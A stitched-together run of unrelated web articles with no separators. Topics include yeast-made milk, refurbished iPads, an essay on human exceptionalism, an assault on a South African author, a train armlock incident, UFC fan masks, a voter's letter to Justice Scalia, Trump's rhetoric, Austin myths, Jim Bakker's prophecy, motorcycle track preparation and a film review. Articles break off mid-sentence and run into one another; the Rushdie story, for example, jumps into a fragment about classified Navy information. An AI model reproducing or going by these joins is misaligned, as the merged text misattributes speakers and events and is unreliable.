The company is happy to boast about the potential for yeast milk to take a load off the environment. Dairy production is responsible for almost 3 percent of the greenhouse gas emissions caused by humans every year—more than airplanes. It takes 1,093 gallons of water and up to 27 acres of land to create one gallon of cow’s milk. According to a study commissioned by Perfect Day, switching from conventional dairy production to its yeast milk could mean a 98 percent reduction in water consumption and up to 65 percent fewer greenhouse gas emissions.
Driven by Asia’s growing appetite for dairy, global demand for milk “appears to be outstripping supply.”
But yeast-made milk has a built-in PR problem. Some consumers could be turned off by the words “lab-made” or “genetically modified.” Technically, the product itself won’t be GM, since the engineered yeasts won’t end up in the milk, but that hasn’t stopped critics from denouncing Perfect Day’s process; the international environmental organization Friends of the Earth calls it “an extreme form of genetic engineering.” And you can expect the US dairy industry, which already spends $7 million a year lobbying, to jealously guard its $34 billion in annual sales and substantial government subsidies.
That said, driven by Asia’s growing appetite for dairy, global demand for milk “appears to be outstripping supply,” notes an article by analysts at multinational financial company Rabobank, which concludes that “cows cannot be coerced” to produce more. We might be better off coaxing yeast to work for us instead.Buying a gigantic new iPad Pro just got a bit more affordable because Apple has finally made refurbished units of the 12.9-inch model available online.
Apple is giving fans the ability to buy the refurbished iPad Pros from the Online Apple Store, which is currently offering units at a discount of 14 percent to 15 percent off the regular price of brand new units. The plus-size Apple tablet arrived last November and has since been joined by a smaller, 9.7-inch sibling.
The cheapest refurbished iPad Pro available is the gold 32GB Wi-Fi-only model that’s listed for $679, giving buyers a savings of $120. Those looking for more storage can get a $160 discount on the Space Gray iPad Pro with 128GB and Wi-Fi and cellular connectivity that costs $919 refurbished.
All of the refurbished iPad Pro units come with a one-year warranty, plus a new battery and packaging, making them good as new. Stock is usually limited, so if you’ve been looking for a killer deal, this is the best time ever to buy the new iPad Pro.
Via: iPhoneinCanadaOn a recent edition of my weekly radio show, my co-host and I spent an hour tossing around the concept of human exceptionalism, the idea that human beings are fundamentally different from all other species.
We started by trying to articulate rational answers to a few basic questions:
Would the world be better off without humans?
Are human beings better or more important than other living things?
Should we be just as concerned about the lives of animals as we are our fellow humans?
Obviously, the answers to these questions are going to vary depending on who you ask. As we noted on the show, your average chicken would probably have a very different answer to that first question than you or I. But the answers any one of us might be inclined to give — and for the record, I got “No,” “Yes,” and “No” — are far less important than the questions themselves.
That we are willing to entertain these questions, that we take them seriously enough to consider them worth debate, indicates a broadening of perspective that would have been hard to imagine even a few decades ago. This is not to overlook the many traditional cultural and religious beliefs (Jainism, Native American traditions) that affirm the value of animal life as being on a par with human life, nor is it to ignore the long history of misanthropy: there would have been many throughout the ages who would have answered that first question with a resounding “yes.” But such perspectives have always been out of the mainstream of rational western discourse; they were viewed as oddities, peculiar notions that fly in the face of basic assumptions about the value and primacy of human beings.
Today they are still perhaps oddities, but not nearly as odd as they used to be. There are a growing number of people who are comfortable giving a “no” and a “yes” to the second two questions and surprising number of people who are not as full-throated in saying “no” to that first question as we — or at least I — would like for them to be.
Human exceptionalism is now the subject of serious critique, as is anthropocentrism, the enabling worldview which insists on seeing everything through human-tinted glasses. As we learn more about the surprising inner life and unexpected aptitudes that many animals possess, the case for acknowledging their personhood grows. Humans are looking less and less exceptional all the time, and to the extent that such a development means that we’re likely to start taking serious steps to reduce to the total amount of animal suffering in the world, I’d say that’s a very good thing. Moreover, I am completely on board with the idea of enhancing or uplifting animals — providing them the cognitive abilities they need to join in full partnership with us in managing this planet — although I note that such a project has not been too widely embraced even amongst the technoprogressive crowd.
So having laid out my pro-animal bona fides, I’d like to make the case that anthropocentrism is actually a pretty darned good thing and that human exceptionalism is the moral and rational view.
First let’s look at anthropocentrism. Some will argue that surely it must be the problem, and not without justification. Our tendency to look at the world as seen through human eyes, applying human values, and weighing all circumstances in terms of the impact they have on human beings is, in that view, a major stumbling block. How can we ever really empathize with animals, how can we ever reduce their suffering, how can we ever help them to improve their lot in life…if all we ever think about is ourselves?
Good questions.
I think we have to begin by looking at anthropocentrism in terms of what it replaced, or rather what it is replacing. What were we back before we were human-centric in our thinking? We were a lot of different things: nation-centric, race-centric, class-centric, religion-centric, tribe-centric. Viewing the world with a bias towards humanity actually represents an enormous step forward from any of these earlier biases.
Obviously, the older biases are still around and still cause huge problems every day, all over the world. But there can be no doubt that race- and tribe-centrism are gradually weakening while a broader focus on humanity continues to take hold. As Stephen Pinker observes:
It’s easy to focus on the idiocies of the present and forget those of the past. But a century ago our greatest writers extolled the beauty and holiness of war. Heroes like Theodore Roosevelt, Winston Churchill and Woodrow Wilson avowed racist beliefs that today would make people’s flesh crawl. Women were barred from juries in rape trials because supposedly they would be embarrassed by the testimony. Homosexuality was a felony.
At various times, contraception, anesthesia, vaccination, life insurance and blood transfusion were considered immoral.
Ideals that today’s educated people take for granted — equal rights, free speech, and the primacy of human life over tradition, tribal loyalty and intuitions about purity — are radical breaks with the sensibilities of the past. These too are gifts of a widening application of reason.
Anthropocentrism is good both because it replaces those earlier views and because it’s a marker of the ongoing broadening of perspectives that humanity has exemplified and continues to exemplify. The ancient Greeks coined the word “barbarian” to refer to anyone who wasn’t Greek. The notion that the human species can be divided into two groups, the True Humans and the Others — with the former often a tiny minority of the total human population — has been a fundamental assumption for virtually all of human history. It lies behind not only countless wars, but slavery, torture, rape, and every form of exploitation and deprivation imaginable, played out innumerable times throughout the ages.
Concurrent with the most brutal treatment of the Other is a patronizing appreciation of the Other’s value as a labor unit, sex object, or other type of asset. Over time, a general trend towards civility has tended to soften how the Other is viewed and responded to, particularly in the west. Outside of armed conflict, the Other eventually became not so much an object of scorn and hatred as something that needed to be managed — a potential risk, but also a potentially valuable resource. A benevolent (though still highly unjust and exploitative) condescension, e.g. “The White Man’s Burden,” became the norm.
Gradually, in fits and starts, members of the species Homo Sapiens Sapiens are beginning to view each other — the entire species — as True Humans. As that happens, two interesting phenomena begin to develop. One is that new candidates emerge to fill the role of the Other that other humans used to occupy. Sometimes ideas take on that role, so that the other becomes Racism or Injustice or some equally pernicious enemy of progress. But then it becomes very easy to make those who are seen as proponents of the offensive ideas into the Other, and we’re back where we started with humans in that role.
Sometimes nature, and in particular animals, are placed in the role of the Other. I think it’s fair to say that most modern humans view animals in much the same way as the more enlightened of our recent ancestors viewed their “inferior” fellow humans. Rather than treating them as objects of any great seething hatred or resentment, we tend to be positively disposed towards them “for what they are.” We don’t want them to suffer unduly, but obviously their suffering can’t be equated to ours.
Note the excessive emphasis on the word “obviously.” The truth is, that proposition is not at all obvious. People are less certain of that great long-unchallenged assumption than they have ever been (and I am more uncomfortable with the “no” response to the third question than I ever would have been before.) Should we be just as concerned about the lives of animals as we are our fellow humans? Obviously we aren’t. But should we be?
Maybe we should.
The second interesting result of the process of coming to see all humanity as Truly Human is that the broadening of perspective continues — if anything, it grows ever stronger. At one time, any human whose language or customs or mode of dress or general appearance or diet (or any of a thousand other criteria) were different from ours was the Other. Today most of us reject the idea of considering someone the Other based on any of those things. The question is, for how much longer will species (or computational substrate) be grounds for assigning Other-ness?
All of which leads me, finally, to my defense of human exceptionalism. How are we exceptional? We use language, but some other animals apparently do, too. We make tools, but we are not alone in that. All right, so if language isn’t a difference, is it fair to ask where we might find the works of any other species’ Shakespeare? Or even their cheesiest hack novelist? May we ask where to look for any other species’ Large Hadron Collider, or wheel for that matter? Where is their world-defining, world-transforming civilization?
Ah, but these arguments are anthropocentrism at it’s worst, some will say. Other species will come to have these things eventually, too. (Or would have, if we hadn’t gotten in the way.) We have simply evolved more quickly. Or perhaps they would not have any of those things, but would come to express their uniqueness in completely different ways, without all our showy technology and cities and stuff.
Perhaps.
But maybe it comes down, once again, not to the answers to the questions, but rather (in this case) who is asking them. Homo sapiens are exceptional among the species of the earth for a number of reasons, not least of which is that we are the only species on the planet — that we know of — who knows that it’s a species living on a planet. We’re exceptional because we’re carrying out this vast evolutionary project that now appears to bear some relationship to the evolution of all other species and to the evolution of the universe itself. We talk about the coming singularity that will occur when a greater-than-human intelligence emerges and begins moving everything — everything — in new directions that we can’t begin to understand or imagine. Does that scenario sound familiar? What is humanity if not the animal singularity?
That’s the crux. What is humanity? We came to realize that it’s not a particular demography or ethnicity. Next we will understand that it’s not a particular species or substrate. Up until now, humanity has been a club with restricted membership, but not for much longer. This is where our language breaks down, because we use the word “human” interchangeably to refer to the members of a particular biological species as well as to refer to participants in the great project referenced above.
The human exceptionalism that I endorse is all about that second meaning of the word “human.” As a species, yes, we’re exceptional, but the point is well made that we are ultimately nothing more than a bunch of lemurs with a first-mover advantage. (Meaning no offense to lemurs.) But that project — that’s something else. Tielhard de Chardin referred to it as the human phenomenon. A future human being who leaves biology behind in order to upload his or her mind to the cyber substrate will no longer be part of the species H. Sapiens. A future uplifted chimp who one day cites this essay as a typical example of ill-formed early 21st-century reasoning will never have been a part of that species.
But both of them are part of that project, part of that phenomenon.
So humanity is not limited to any division within our species, nor is it limited to any one species. We are transformers of the world, but beyond that, we are the transformation of the world. We are the making and remaking of everything around us. We are the defining, and redefining, of every concept that our minds can entertain. That redefinition does not end with our own identity.
Apparently, it begins there.An Indian-origin author in South Africa was brutally assaulted and verbally abused after she praised controversial writer Salman Rushdie whose work has angered Muslims around the world.
Zainub Priya Dala was hit in the face with a brick last week after she praised Rushdie's writing at a school in Durban, a city on the country's east coast.
Dala had been due to launch her novel What About Meera in the city on Saturday, which was ironically Human Rights Day in South Africa, but had to postpone it after being injured.
She was reportedly followed from the hotel where the festival was taking place by three men in a vehicle who forced her car off the road.
Dala's tweets on March 22-23
Being hit on the face with a brick and having permanent facial scarring is certainly NOT a way 2 sell a book.It must be read for what it is! — ZP Dala (@zpdala) March 22, 2015
Thank you to all for your heartfelt messages of support and goodwill. I gain strength from each and every one. Much love ~zpd — ZP Dala (@zpdala) March 21, 2015
When she stopped her vehicle, two of the men came to the car, one allegedly putting a knife to her throat while the other struck her in the face with a brick as he verbally abused her.
Dala said she believed the attack occurred as a result of a comment she made during a writing forum for schools earlier in the week, when she and two other authors were asked to comment on their favourite authors.
She replied that she liked the styles of Rushdie and Indian author Arundhati Roy, which led to a number of teachers and students attending the workshop walking out in protest.
Reacting to the attack, Rushdie said the attack on Dala was "appalling and disgraceful". "I'm so sorry to hear this. I hope you're recovering well. All good wishes," Rushdie said in a tweet.
In her reply, Dala said: "Thank you. I have my family and children around me and am recovering." Dala has filed an assault case with the police but there have been no arrests yet amid an appeal for any witnesses to come forward.
Steve Connolly, managing director of Random House and her publisher, said: "We condemn completely the brutish attack on author ZP Dala." "Have we reached such a state of intolerance that we cannot listen to one writer profess admiration for another without wanting to attack her with a brick and a knife?
"It is ironic that at a time when the communities of Durban are welcoming writers, some elements are attacking those writers who hold different views. We must not let this shameful and violent bigotry prevail," Connolly said. Rushdie spent a decade in hiding following a fatwa by Iranian spiritual leader Ayatollah Ruhollah Khomeini in 1989, calling for his death because of controversial views in 'The Satanic Verses.' Muslim outcry led to withdrawal of
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ug admitted to providing [Washington Times report] classified Navy information to GDMA, including classified Navy shipping schedules and other classified information.Police investigate after photo appears to show child’s arm being wrenched behind his back following altercation on Clitheroe-Manchester train
Police are investigating claims that a man put a child into an armlock for refusing to take his feet off the seats on a train.
Images were posted online appearing to show a man wrenching a boy’s arm behind his back on a train. Witnesses reportedly said the incident followed a confrontation in which the man threatened to give three children a “clip round the ear”.
Witnesses told the Manchester Evening News that the three children, aged between about eight and 11, got on the train running from Clitheroe, in Lancashire, to Manchester at Blackburn and put their feet up on the seats.
Manchester News MEN (@MENnewsdesk) British Transport Police are investigating https://t.co/KvQ7Qpmhml
The man, who was believed to be in his 70s, told them off and they were “being quite cocky”, according to a witness who spoke to the paper, who did not want to be named.
The 17-year-old student said: “[The man] threatened them with a ‘clip around the ear’ and then went and sat back down. The children then put their feet back up and wouldn’t take them down. The guy then went over again and tried to take their feet down.”
The man, who has not been identified, is accused of assaulting one of the children at that point. A picture taken of the incident by another of the children has been circulating online.
Another witness told the paper the children had been “badly behaved” and were unaccompanied but said the man “acted like [a] US cop” and left the child in tears.
British Transport police tweeted that it was looking into the reports.CURITIBA, Brazil -- Stipe Miocic will not face 45,000 Fabricio Werdums after all.
Werdum distributed tens of thousands of masks to fans all week in Curitiba, asking them to wear it during the UFC 198 main event Saturday. However, fans weren’t allowed to enter the Arena da Baixada soccer stadium with the mask during Friday’s weigh-ins and Saturday’s event.
The UFC heavyweight champion complained about the veto while speaking to Combate TV right after the weigh-ins.
"I was doing a great campaign for the ‘happy face’. I had 45,000 (masks) done and the ‘happy face’ was vetoed at the entrance for the weigh-ins," Werdum said. "I hope it’s not vetoed tomorrow.
"I think it’s absurd, actually. I spent a lot of money, got a nice campaign to excite the crowd, people were happy, posting it on social media, and UFC comes and vetoes it. I didn’t like it, but it’s fine."
The Arena da Baixada’s security team is requesting fans to throw away the mask before they enter the stadium, and told MMA Fighting that the UFC made the call. MMA Fighting reached out to the promotion for comments, but didn’t get a response yet.March 12, 2013
Dear Justice Scalia,
My name is Desiline Victor. I was born in Haiti in 1910, and I am 102 years old. After coming to the United States for a better life, today I am an American citizen and live with my family in North Miami. You might remember me from the State of the Union address last month, where President Obama told my story about how hard it was for me to vote.
When I heard what you said about the Voting Rights Act being a “racial entitlement,” I was shocked. I thought you must not know what’s happening in this country. After learning more this year from the civil rights group, Advancement Project, I know that just as there were for me, there are barriers to voting for many people – especially people who are black or brown. I also know that the Voting Rights Act is a way to protect the votes of communities that still face these problems. I would like to tell you about the struggles I faced in the last election.
During the early voting period in Florida last October, I went to my polling place early in the morning. The line was already very long, and wait times were as high as six hours. I stood for three hours before I started to get shaky on my feet, but no one could assist me unless I made it to the front of the line. In addition, there were no poll workers available who could help me in my native Kreyòl language, despite North Miami’s large Haitian community. I was told to come back later. I left. But I was determined to vote, so I tried again. On my second visit that night, I was happy when I finally cast my ballot. But I was also upset. In this great nation why should anybody have to stand in line for hours, and make two trips, to vote?
Not everybody persevered as I did. I learned later that hundreds of thousands of voters in Florida gave up and went home without voting, and that Black and Latino voters were more likely to face those shamefully long lines and wait times. One reason was a new law that cut the early voting period. Around the country, other new laws were passed that made voting harder in 2012 – but Section 5 of the Voting Rights Act blocked many of them before the election. Section 5 also helps voters in other ways. In the five counties in Florida that are covered, voting help in Spanish and Kreyòl is required because of their large Latino and Haitian populations.
I was born at a time when women were not allowed to vote in Haiti, nor the United States. After becoming a U.S. citizen, I was so proud to have a voice in this country. That is what inspired me to fight last year. But voting should never require such a fight. We need more make sure that all Americans can have their voices heard – we need the Voting Rights Act. Justice Scalia, the Voting Rights Act is not a racial entitlement. It is an important protection that helps all Americans exercise their right to vote. It was put in place because, sadly, there are people in this country who don’t want everyone to have an equal voice at the ballot box.
Equality and the right to vote are the shining lights of American democracy that drew me to these shores, and that right should not be taken away. In fact, it should be made stronger to help more voters who faced obstacles like I did.
Sincerely,
Desiline VictorDonald Trump speaks at a rally on Friday in Lisbon, Maine. Sarah Rice/Getty Images
For some of us, Trump’s language is incendiary garbage. It’s not just that the ideas he wants to communicate are awful but that they come out as Saturnine gibberish or lewd smearing or racist gobbledygook. The man has never met a clause he couldn’t embellish forever and then promptly forget about. He uses adjectives as cudgels. You and I view his word casserole as not just incoherent but representative of the evil at his heart.
But it works. Vast swaths of Americans find themselves in Trump’s verbal thrall, nodding along as his mind empties its baleful, inchoate contents out through his mouth and into the world. In a business in which what you say holds incredible sway with those who are going to decide whether to hire you, this rambling weirdo has overachieved to the point of being a Clinton scandal away from the presidency.
Why? What’s the secret to Trump’s accidental brilliance? A few theories: simple component parts, weaponized unintelligibility, dark innuendo, and power signifiers.
Despite the often-complicated work they do, Trump’s speeches are built from basic, readily understood elements. One analysis, citing loosely woven sentences and a cramped, simplistic vocabulary, found that he talks just below a sixth-grade reading level, compared with the eighth- to 10th-grade reading levels at which his competitors speak. Another paper discovered that 78 percent of the words Trump deploys are monosyllabic. (Sad!) Trump’s most avidly used term is I, followed by Trump, very, China, and money.
Simple sentences and one-cent words may not win admiration from the Walter Paters of the world, but they do aid comprehension, which increases their processing fluency and makes them ring true, even when they’re not. What’s more, as Evan Puschak has discussed, Trump tends to place the most viscerally resonant words at the end of his statements, allowing them to vibrate in our ears. For instance, unfurling his national security vision like a nativist pennant, Trump said:
But, Jimmy, the problem –
I mean, look, I’m for it.
But look, we have people coming into the country
that are looking to do tremendous harm….
Look what happened in Paris.
Look what happened in California,
with, you know, 14 people dead.
Other people are going to die,
they’re badly injured, we have a real problem.
Ironically, because Trump relies so heavily on footnotes, false starts, and flights of association, and because his digressions rarely hook back up with the main thought, the emotional terms take on added power. They become rays of clarity in an incoherent verbal miasma. Think about that: If Trump were a more traditionally talented orator, if he just made more sense, the surface meaning of his phrases would likely overshadow the buried connotations of each individual word. As is, to listen to Trump fit language together is to swim in an eddy of confusion punctuated by sharp stabs of dread. Which happens to be exactly the sensation he wants to evoke in order to make us nervous enough to vote for him.
Trump is a prolific user of discourse markers. These are the signpost words—well, OK, so—that add emotion or shape to a statement without changing its meaning. As linguist Jennifer Sclafani points out, most politicians practice talking with discourse markers in order to sound intimate, authentic, or unstudied; the signals can also subtly deflect a question by faking some kind of logical continuity between it and the response. (“What do you think about single-payer health care?” “First off, I believe that our families matter.”) Like Obama or Clinton, Trump uses discourse markers to project folksiness or spontaneous feeling. (“Honestly, she should be locked up.”) In his mouth, though, these tokens hedge and redirect of their own volition, as if no one is driving the conversational car.
Some of Trump’s extra words can seem to reroute the candidate down a track he may not have anticipated: “That is a mainstream media nonsense that is put out by her because you know, frankly, I think the best person in her campaign is mainstream media.” Others serve as handmaidens for his deranged asides. “That’s called business, by the way,” Trump said, pausing in the middle of evading a debate question about his specific tax evasion to defend tax code chicanery generally. His compulsive qualifiers sometimes act as crutches and cloaks. (“I’ve been very nice to you, although I could probably maybe not be.”) Or he gets caught up in whorls of intensification: “And the Clintons know it. And they know it very well.” Cognitive linguist George Lakoff has suggested that Trump exploits prefaces like “people are saying” and “I’ve heard many times” to burnish his credibility. Yet the sheer number of not semantically meaningful words he uses implies something else: that he is too distracted by the pleasure and theater of vocalizing to deliver any actual substance. Regardless of his familiarity with the topic at hand, Trump will luxuriate in all the “let me tell you”s he can possibly throw into his sentences to draw attention to the fact that he’s talking. Of course he employs a ton of discourse markers: Trump as a political force is all discourse marker, no discourse.
And it works. The unplanned detours and intentional, nerve-fraying vagueness; the emotional chiaroscuro of ominous terms set afloat in nonsense, like a word salad where the lettuce leaves are nightshade—they work. Even the ornamental wordstuff gives Trump an air of authority.
Trump holds a campaign rally on Sunday in Greeley, Colorado. Chip Somodevilla/Getty Images
Trump is unconventional, and he’s unconventionally adept at the blunt force transmission of fear and rage. Consider his reliance on dog whistles and buzzwords. Trump returns again and again to “radical Islamic terror,” as if the incantatory phrase presented an argument in itself. Urging his supporters to monitor polling places in urban districts, he said: “Go down to certain areas. … Make sure other people don’t come in and vote five times.” Certain areas. Other people. Leaving things provocatively undefined is a powerful strategy, allowing people’s fantasies to swirl into the gaps between his words. But it’s also the legacy of a lifetime of being coddled and agreed with. In a world where everyone shares your perspective, there’s no need to belabor the racist claims behind your allusions.
In a politician, such a complacent imagination poses real dangers. Trump’s is a language of tribal signaling, not education or communication, because he is a candidate who cannot fathom viewpoints different from his own. This sense of presumptuousness is breathtaking; to his followers, it is also intoxicating. It connects to the theory that disenfranchised people are supporting Trump against their own interests because he represents a seductive idea of power.
Perhaps his egotism also produces the incoherent word stroganoff so many linguists have already written about. Take Trump’s rambling reply, during the first debate, after the moderator pressed him on his initial support for the Iraq war: “When I did an interview with Howard Stern,” Trump began, “very likely the first time anyone’s asked me that, I said, very likely, I don’t know, maybe, who knows, essentially. I then did an interview with Neil Cavuto, we talked about the economy is more important, I then spoke to Sean Hannity, which, everyone refuses to call Sean Hannity, I had numerous conversations with Sean Hannity at Fox, and Sean Hannity said, and he called me the other day!”
This is not an answer; it is what you dictate into your Notes app after you’ve downed two Nyquil. Trump’s inability to master hypotaxis, the embedding of clauses within clauses—his tendency to keep elaborating on a single, incomplete clause until he runs out of steam—may, as University of Edinburgh language specialist Geoffrey Pullum told Vox, betray “scattered thoughts, a short span of attention, and a lack of intellectual discipline and analytical skills.” But to me, that absence of self-command suggests more than mere flightiness. Trump’s narcissism has convinced him that he doesn’t need to finish the statement, even if he could (which he can’t). Either the rest of the world’s brains already thrum along to his thoughts, or their diverging ideas and opinions don’t matter.
And that conviction, in turn, makes him a compelling presence, someone whose voice you want to lean in and hear. When Trump acts like a winner, even and especially if he sounds like a loser, the listener starts wondering whether he knows things she doesn’t. She feels uncertain. Luckily, the candidate is there to promise—in exaggerated, Manichean terms—an end to her ambivalence and uncertainty. It’s a genius scam, another way that Trump uses his speaking style to provoke the very negative feelings he cites as reasons to elect him. His angry, incompetent oratory tweaks us out; then he paints himself as the man to restore order and rightness to our crooked lives.
Trump, in short, has perfected the rhetoric of fake power. Some might argue he’s performing for political gain, but I believe in Trump’s razor: The dumbest explanation is generally the correct one. The candidate can’t help who he is; can’t disguise his failings of intelligence or empathy; is succeeding via fateful accident in which his unique and diabolical traits have synced up perfectly with a smoldering, racially and economically alienated GOP electorate. But that doesn’t absolve him of playing on our fears with long, slender pianist’s fingers. It doesn’t justify his bullying repetitions, manipulative cues, rhetorical gaslighting, clausal manspreading, and bogus authority markers. Trumpspeak may be effective. Yet it is far from OK.
What’s left to consider? I am loath to bring up Trump’s paralipsis. Everyone says his appeals to popular wisdom drive him or her crazy. And look, he talks like a gangster, like absolute scum. All contempt and thundery fulmination, you know it, he knows it, it’s terrible. Then suddenly he’s your best friend. Teasing, wheedling, funny—a tremendous entertainer, just tremendous. But president? Look at him. Look at his words. You tell me what you think. I don’t think so—I don’t think so.
See more of Slate’s election coverage.Don’t let the cupcake stands fool you. For years, locals pressed the need to Keep Austin Weird. Besides spawning lazy clichés (Keep Austin Wired, Keep Austin Moving, Keep Austin on Every List of Best Places to Live), the Keep Austin Weird movement overlooks the obvious: the city’s not that weird.
Weird for Texas? Sure. Austin is like a rebellious preacher’s kid. It’s cool, popular, breaks all the rules, and doesn’t go to church very much. Family members from elsewhere visit from time to time, but everyone wonders if they’re all part of the same family.
It’s been this way forever. When most of the state decided to join the Confederacy, Austin declined. When most of the state decided to join the Republican Party, Austin declined.
The capital is more counter-Texas than counter-culture. Austin boasts unique attractions, festivals, and music venues. It’s livable, a hard term to quantify until Austinites visit other cities and return recounting their flaws. Austin also has an infectious, welcoming spirit. You can strike up random conversations with random people at the grocery check-out. Still, it’s not as strange as advertised. Let’s dispel the most common myths:
MYTH #1: It’s San Francisco. It’s not. The City by the Bay is smaller, denser, and more ethnically diverse. Both cities have roughly equal populations, but Austin packs them into approximately 300 sq. miles; Austin is six and half times larger than San Francisco. Neither city has a white majority, but nearly one in two Austinites is white, compared to just four in ten San Franciscans. So Austin’s full of Stuff White People Like: trailer food, snow cone stands, vintage clothiers, writer’s groups, Paleolithic restaurants, coffee shops, and yoga studios. It’s not the gayest city in Texas, either. Dallas narrowly edges out Austin, according to analysis by the Williams Institute at the UCLA School of Law.
MYTH #2: It’s a small town. As the 14th largest American city, Austin has big city problems.
Traffic tops the list. Forget rush hour. It’s not unusual to find your car parked on I-35, the city’s clogged artery, on a Sunday afternoon. The ill-equipped interstate reflects city planners’ inverse Field of Dreams strategy: if you don’t build it, they won’t come. Back when Austin really was a small town, some thought expanding I-35 would encourage newcomers. They came anyway.
A growing metropolis suffers growing pains, and Austin hasn’t outgrown racial or economic segregation. Housing costs, among the state’s highest, contribute to geographic divisions. The city’s affluent congregate in the west side, while middle-earners who want homes settle near, or in, once-empty Williamson and Hays counties. Austin’s east-siders are mostly low-income minorities, but as The Atlantic’s Ta-Nehisi Coates observes, gentrification is changing this.
In search of cheap in-town property, a mix of white urban professionals and bohemians started sprucing up homes just east of I-35 over a decade ago. High-end lofts now co-exist, a bit awkwardly, next to mercados. The east side has become less a barrio, with new stores, houses, and other developments dotting neighborhoods. Still, it’s no yuppie playground.
MYTH #3: It’s Babylon. Fear not, God-fearing Americans! Austinites aren’t as eccentric or wayward as you may have heard. For years, natives have touted wandering gender-bender Leslie Cochran as their mascot. To locals, Leslie embodies Austin’s free-spirit; to outsiders he’s evidence Austin is Gomorrah near the Guadalupe. Leslie nearly died in 2009, however, and Jennifer Gale, a homeless transgendered activist, died in the cold in 2008. Austin still has its fair share of eccentrics—the unicycle, mind you, is a perfectly acceptable mode of urban transport—but you won’t find fire-eaters on every corner.
This city of alleged non-conformists dresses the same (and never up). Shorts and flip-flops, the uniform of least resistance, will get you in nearly any club or restaurant. The University of Texas, state government, and tech companies compose Austin’s economy. Professors, bureaucrats, and software engineers—let the Bacchanal begin! During South by Southwest, locals can easily pinpoint the Bay Area-Portland-Williamsburg interlopers. As they party, promote, and pose, the skinny jean set manically turns their attention from iPhones to panel discussions to guest-list gatherings. Austinites run at a more relaxed pace. Unlike these coastal scenesters, they would rather chill out than stand out.
MYTH #4: It’s not like other cities. In many ways, Austin is exceptional. The urban core features gems like Zilker Park, a marvelous pink granite Capitol, and home-grown eateries. Leave the central core, however, and you quickly encounter big-box sameness.
As you head south of Ben White Boulevard or north of the University of Texas, national retailers, food chains, and strip malls appear. Once a destination concert venue, Southpark Meadows is now a destination for south Austin Target shoppers. Up north, The Domain, an upscale shopping village, gives off a gentle North Dallas pretention, which is the opposite of Austin weird.
Even Whole Foods, the Temple of Austin, causes headaches. The retailer is Disneyland for foodies, if you can get there or find parking. Sky-rise condos flank the flagship store, and getting past nearby intersections and into a parking space can feel like a bumper car ride. This congested urban development angers locals who fear their homeland now caters to well-off creative professionals instead of cash-strapped musicians and artists.
No wonder some residents feel compelled to remind everyone to Keep Austin Weird. Put it on a tee-shirt. Put it on a bumper sticker. Shout it from your co-op’s rooftop: I have seen the Promised Land, and it is (or was) weird.
How odd that a progressive city would revert to this reactionary battle cry. Those who love the phrase look back and see an odder, better place or ahead and see disturbing signs of normalcy. Both sales pitch and civic anthem, the Keep Austin Weird campaign aspires to change development through mantra. Like a New Age chant, it hopes to alter consciousness. If you say it enough, maybe it will come true.
Does Austin have to be weird to be special? It has plenty of attractive, well-educated citizens, natural beauty, and warm weather (record-setting levels this year, in fact). It’s still far cheaper than most coastal meccas. When magazines rank it as a great place to move or start a business, weirdness isn’t their criterion. Despite the big city headaches, the quality of life is still pretty sweet. Can’t we just follow The Beatles’ advice, and let Austin be?
Writer Jason Thurlkill grew up near Dallas. He reported for “The Hotline” and a “New York Observer” publication. Previously, he worked for a Washington D.C. political consulting firm. He studied government at the University of Texas and earned his Master of Public Policy at the University of Chicago.Yesterday, televangelist Jim Bakker blasted those who seek to “destroy our president,” claiming that the people who want to see Donald Trump removed from office have “come against what God does” and are “attributing to Satan what God did” in the presidential election.
He then linked Trump’s trip to Israel and the terrorist attack in Manchester, England, to the recent closure of the Ringling Brothers Circus, which he took as a sign from God.
Bakker blamed the Ringling Brothers closure on a nonexistent national law banning elephants from the circus—while a few cities have barred circus workers from using bullhooks, there is no national law against performing elephants—which he contrasted with the legalization of abortion.
The closure of the circus company due to the supposed elephant ban, he said, is a sign from God because the elephant is also the symbol of the Republican Party. Like the circus losing its elephants, he implied, America will fall if it loses Trump.
“Revelation is now, people,” Bakker continued. “Here’s what God spoke to me: The circus is over. Life as we know it, unless we turn back to God, it’s not going to be fun anymore.”S1000 RR Track Preparation Moto Foto Blocked Unblock Follow Following Jun 25, 2017
If you are one of the lucky ones to call a BMW S1000RR your bike, then you only get your monies worth, if you take this monster to the track. This is a quick checklist of what to do to the bike to make it a trackday weapon. Quick Checklist All items in the checklist are explained in further detail below. Check Tires for life, tape wheel weights and check “Track worthiness”
Tires for life, tape wheel weights and check “Track worthiness” Check Exhaust — some tracks have noise limits
Exhaust — some tracks have noise limits Disable Front and Break Lights — taping is optional
Front and Break Lights — taping is optional Add Numbers on your bike
Numbers on your bike Add Crash protection like frame sliders and engine case covers
Crash protection like frame sliders and engine case covers Add grippier foot-pegs and tank pads to stay in contact with the bike
grippier foot-pegs and tank pads to stay in contact with the bike Remove unnecessary items like : mirrors, license plate, passenger pegs, etc. Tires While there are many tires you can run on a track from road tires that are track-ready like the Dunlop Q3s, Pirelli Super Corsas or Metzeler RRs all the way to racing slicks, the main thing is to have a tire with plenty life left before arriving at the track. Some Trackday provider also require to tape the wheel weights, in order to make sure you don’t lose them on the track. For tire pressure ask your local tire mechanic at the track on recommendations. Lights
Remove Fuses 4 and 5 to disable the Low and High-Beams and unplug the connector for the break light (there is a little hook on the underside that needs to be released first)
On a race track it is important to avoid distractions. That’s why you have to disable the break light and low and high-beams. Taping of the headlights is usually optional nowadays, because the light covers are made out of plastic and not glass anymore. Once the lights are disabled you will get an error message in the dashboard. If this annoys you you can go to Settings -> Equipment -> Lamp Warning and turn that error message off. Taping is optional, but quickly done with some good tape Numbers Most tracks require that you have some numbers on your bike so you can be identified. Either get some colorful tape or buy some number stickers. I personally use these : Link Exhaust The big old standard exhaust Some tracks like Laguna Seca have noise limits and there you should only run your stock exhaust in order to be able to stay under the sound limits. Protection
Frame and Case sliders can safe you a lot of money in case you go down‘The 8.04 slow train from Ashbury to Euston,” says the narrator in The Girl on the Train as the service trundles to a stop, “can test the patience of the most seasoned commuter. The journey is supposed to take 54 minutes, but it rarely does: this section of the track is ancient, decrepit, beset with signal problems and never-ending engineering works.”
It’s details like this – and the carriage full of sighing passengers – that made Paula Hawkins’ bestseller so appealing: the evocation of an all too familiar world of British disappointment and frustration. In this glum milieu, divorced alcoholic Rachel Watson gets a bottle of chenin blanc from a Whistlestop to take the edge off her return journey – and the bundle of rags she glimpses from the window takes on an aura of sinister abjection and threat (actually, a not unfamiliar feeling to anyone who’s ever rolled on tracks that fall under Network Rail’s cheerless ambit).
Facebook Twitter Pinterest ‘Too handsome’ … John Cusack in High Fidelity. Photograph: Alamy
